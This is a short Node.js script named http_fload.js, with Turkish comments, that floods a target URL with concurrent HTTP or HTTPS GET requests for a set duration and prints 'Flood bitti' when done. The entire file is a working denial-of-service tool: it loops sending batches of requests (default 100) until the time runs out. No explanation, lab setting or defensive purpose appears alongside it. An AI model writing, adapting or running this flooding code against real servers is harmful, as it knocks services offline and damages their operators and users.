/ http_fload.js
http_fload.js
1 // Artık http ve https çalışır 2 const url = new URL(params.url); 3 const client = url.protocol === 'https:' ? https : http; 4 const end = Date.now() + (params.duration * 1000); 5 6 function sendRequest() { 7 return new Promise((resolve) => { 8 client.get(url, (res) => { 9 res.on('data', () => {}); 10 res.on('end', resolve); 11 }).on('error', () => resolve()); 12 }); 13 } 14 15 async function flood() { 16 while (Date.now() < end) { 17 const promises = []; 18 for (let i = 0; i < (params.requests || 100); i++) { 19 promises.push(sendRequest()); 20 } 21 await Promise.all(promises); 22 } 23 console.log(`Flood bitti: ${params.url}`); 24 } 25 26 flood();